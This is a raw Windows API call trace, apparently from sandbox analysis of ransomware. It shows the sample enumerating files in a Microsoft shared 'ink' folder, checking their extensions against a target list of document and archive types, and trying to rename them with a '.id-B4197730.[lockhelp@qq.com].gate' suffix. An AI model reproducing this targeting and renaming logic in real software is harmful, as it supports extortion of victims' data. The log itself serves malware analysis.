lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.448] lstrlenW (lpString=".jpg") returned 4 [0274.448] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.448] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.448] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0274.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0275.447] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=247) returned 1 [0275.447] CloseHandle (hObject=0x3bc) returned 1 [0275.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0275.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.448] lstrlenW (lpString=".doc") returned 4 [0275.448] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.448] lstrlenW (lpString=".docx") returned 5 [0275.448] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0275.448] lstrlenW (lpString=".pdf") returned 4 [0275.448] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.448] lstrlenW (lpString=".xls") returned 4 [0275.448] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.448] lstrlenW (lpString=".xlsx") returned 5 [0275.448] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0275.448] lstrlenW (lpString=".ppt") returned 4 [0275.448] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.448] lstrlenW (lpString=".zip") returned 4 [0275.448] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.448] lstrlenW (lpString=".rar") returned 4 [0275.448] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.448] lstrlenW (lpString=".bz2") returned 4 [0275.448] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.448] lstrlenW (lpString=".7z") returned 3 [0275.448] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.448] lstrlenW (lpString=".dbf") returned 4 [0275.448] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.448] lstrlenW (lpString=".1cd") returned 4 [0275.448] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.448] lstrlenW (lpString=".jpg") returned 4 [0275.448] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.449] lstrlenW (lpString=".doc") returned 4 [0275.449] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.449] lstrlenW (lpString=".docx") returned 5 [0275.449] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0275.449] lstrlenW (lpString=".pdf") returned 4 [0275.449] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.449] lstrlenW (lpString=".xls") returned 4 [0275.449] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.449] lstrlenW (lpString=".xlsx") returned 5 [0275.449] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0275.449] lstrlenW (lpString=".ppt") returned 4 [0275.449] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.449] lstrlenW (lpString=".zip") returned 4 [0275.449] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.449] lstrlenW (lpString=".rar") returned 4 [0275.449] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.449] lstrlenW (lpString=".bz2") returned 4 [0275.449] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.449] lstrlenW (lpString=".7z") returned 3 [0275.449] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.449] lstrlenW (lpString=".dbf") returned 4 [0275.449] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.449] lstrlenW (lpString=".1cd") returned 4 [0275.449] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0275.449] lstrlenW (lpString=".jpg") returned 4 [0275.449] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.449] lstrcmpiW (lpString1=".dat", lpString2=".gate") returned -1 [0275.450] lstrlenW (lpString="hwrenclm.dat") returned 12 [0275.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0275.571] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=498624) returned 1 [0275.571] CloseHandle (hObject=0x3b0) returned 1 [0275.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0275.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.571] lstrlenW (lpString=".doc") returned 4 [0275.571] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0275.571] lstrlenW (lpString=".docx") returned 5 [0275.572] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0275.572] lstrlenW (lpString=".pdf") returned 4 [0275.572] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0275.572] lstrlenW (lpString=".xls") returned 4 [0275.572] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0275.572] lstrlenW (lpString=".xlsx") returned 5 [0275.572] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0275.572] lstrlenW (lpString=".ppt") returned 4 [0275.572] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0275.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.572] lstrlenW (lpString=".zip") returned 4 [0275.572] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0275.572] lstrlenW (lpString=".rar") returned 4 [0275.572] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0275.572] lstrlenW (lpString=".bz2") returned 4 [0275.572] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0275.572] lstrlenW (lpString=".7z") returned 3 [0275.572] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0275.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.572] lstrlenW (lpString=".dbf") returned 4 [0275.572] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0275.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.572] lstrlenW (lpString=".1cd") returned 4 [0275.572] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0275.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.573] lstrlenW (lpString=".jpg") returned 4 [0275.573] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0275.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.573] lstrlenW (lpString=".doc") returned 4 [0275.573] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0275.573] lstrlenW (lpString=".docx") returned 5 [0275.573] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0275.573] lstrlenW (lpString=".pdf") returned 4 [0275.573] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0275.573] lstrlenW (lpString=".xls") returned 4 [0275.573] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0275.573] lstrlenW (lpString=".xlsx") returned 5 [0275.573] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0275.573] lstrlenW (lpString=".ppt") returned 4 [0275.573] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0275.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.573] lstrlenW (lpString=".zip") returned 4 [0275.573] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0275.573] lstrlenW (lpString=".rar") returned 4 [0275.573] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0275.573] lstrlenW (lpString=".bz2") returned 4 [0275.573] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0275.573] lstrlenW (lpString=".7z") returned 3 [0275.573] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0275.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.574] lstrlenW (lpString=".dbf") returned 4 [0275.574] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0275.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.574] lstrlenW (lpString=".1cd") returned 4 [0275.574] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0275.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0275.574] lstrlenW (lpString=".jpg") returned 4 [0275.574] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0275.574] lstrcmpiW (lpString1=".dat", lpString2=".gate") returned -1 [0275.574] lstrlenW (lpString="hwrusash.dat") returned 12 [0275.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0275.696] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3380096) returned 1 [0275.696] CloseHandle (hObject=0x3ac) returned 1 [0275.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0275.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0275.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.696] lstrlenW (lpString=".doc") returned 4 [0275.696] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0275.696] lstrlenW (lpString=".docx") returned 5 [0275.696] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0275.696] lstrlenW (lpString=".pdf") returned 4 [0275.696] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0275.696] lstrlenW (lpString=".xls") returned 4 [0275.696] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0275.696] lstrlenW (lpString=".xlsx") returned 5 [0275.697] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0275.697] lstrlenW (lpString=".ppt") returned 4 [0275.697] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0275.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.697] lstrlenW (lpString=".zip") returned 4 [0275.697] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0275.697] lstrlenW (lpString=".rar") returned 4 [0275.697] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0275.697] lstrlenW (lpString=".bz2") returned 4 [0275.697] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0275.697] lstrlenW (lpString=".7z") returned 3 [0275.697] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0275.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.697] lstrlenW (lpString=".dbf") returned 4 [0275.697] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0275.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.697] lstrlenW (lpString=".1cd") returned 4 [0275.697] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0275.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.697] lstrlenW (lpString=".jpg") returned 4 [0275.697] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0275.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.697] lstrlenW (lpString=".doc") returned 4 [0275.697] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0275.697] lstrlenW (lpString=".docx") returned 5 [0275.697] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0275.697] lstrlenW (lpString=".pdf") returned 4 [0275.697] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0275.697] lstrlenW (lpString=".xls") returned 4 [0275.697] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0275.698] lstrlenW (lpString=".xlsx") returned 5 [0275.698] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0275.698] lstrlenW (lpString=".ppt") returned 4 [0275.698] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0275.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.698] lstrlenW (lpString=".zip") returned 4 [0275.698] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0275.698] lstrlenW (lpString=".rar") returned 4 [0275.698] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0275.698] lstrlenW (lpString=".bz2") returned 4 [0275.698] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0275.698] lstrlenW (lpString=".7z") returned 3 [0275.698] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0275.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.698] lstrlenW (lpString=".dbf") returned 4 [0275.698] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0275.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.698] lstrlenW (lpString=".1cd") returned 4 [0275.698] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0275.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0275.698] lstrlenW (lpString=".jpg") returned 4 [0275.698] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0275.698] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.698] lstrlenW (lpString="ipsdan.xml") returned 10 [0275.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0275.733] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2514) returned 1 [0275.733] CloseHandle (hObject=0x3b4) returned 1 [0275.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0275.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.734] lstrlenW (lpString=".doc") returned 4 [0275.734] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.734] lstrlenW (lpString=".docx") returned 5 [0275.734] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0275.734] lstrlenW (lpString=".pdf") returned 4 [0275.734] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.734] lstrlenW (lpString=".xls") returned 4 [0275.734] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.734] lstrlenW (lpString=".xlsx") returned 5 [0275.734] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0275.734] lstrlenW (lpString=".ppt") returned 4 [0275.734] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.734] lstrlenW (lpString=".zip") returned 4 [0275.734] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.734] lstrlenW (lpString=".rar") returned 4 [0275.734] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.734] lstrlenW (lpString=".bz2") returned 4 [0275.734] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.734] lstrlenW (lpString=".7z") returned 3 [0275.734] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.734] lstrlenW (lpString=".dbf") returned 4 [0275.734] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.734] lstrlenW (lpString=".1cd") returned 4 [0275.734] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.734] lstrlenW (lpString=".jpg") returned 4 [0275.734] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.735] lstrlenW (lpString=".doc") returned 4 [0275.735] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.735] lstrlenW (lpString=".docx") returned 5 [0275.735] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0275.735] lstrlenW (lpString=".pdf") returned 4 [0275.735] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.735] lstrlenW (lpString=".xls") returned 4 [0275.735] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.735] lstrlenW (lpString=".xlsx") returned 5 [0275.735] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0275.735] lstrlenW (lpString=".ppt") returned 4 [0275.735] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.735] lstrlenW (lpString=".zip") returned 4 [0275.735] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.735] lstrlenW (lpString=".rar") returned 4 [0275.735] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.735] lstrlenW (lpString=".bz2") returned 4 [0275.735] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.735] lstrlenW (lpString=".7z") returned 3 [0275.735] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.735] lstrlenW (lpString=".dbf") returned 4 [0275.735] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.735] lstrlenW (lpString=".1cd") returned 4 [0275.735] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0275.735] lstrlenW (lpString=".jpg") returned 4 [0275.735] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.736] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.736] lstrlenW (lpString="ipsel.xml") returned 9 [0275.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0275.736] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2618) returned 1 [0275.736] CloseHandle (hObject=0x3b4) returned 1 [0275.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0275.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.737] lstrlenW (lpString=".doc") returned 4 [0275.737] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.737] lstrlenW (lpString=".docx") returned 5 [0275.737] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0275.737] lstrlenW (lpString=".pdf") returned 4 [0275.737] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.737] lstrlenW (lpString=".xls") returned 4 [0275.737] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.737] lstrlenW (lpString=".xlsx") returned 5 [0275.737] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0275.737] lstrlenW (lpString=".ppt") returned 4 [0275.737] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.737] lstrlenW (lpString=".zip") returned 4 [0275.737] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.737] lstrlenW (lpString=".rar") returned 4 [0275.737] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.737] lstrlenW (lpString=".bz2") returned 4 [0275.737] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.737] lstrlenW (lpString=".7z") returned 3 [0275.737] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.737] 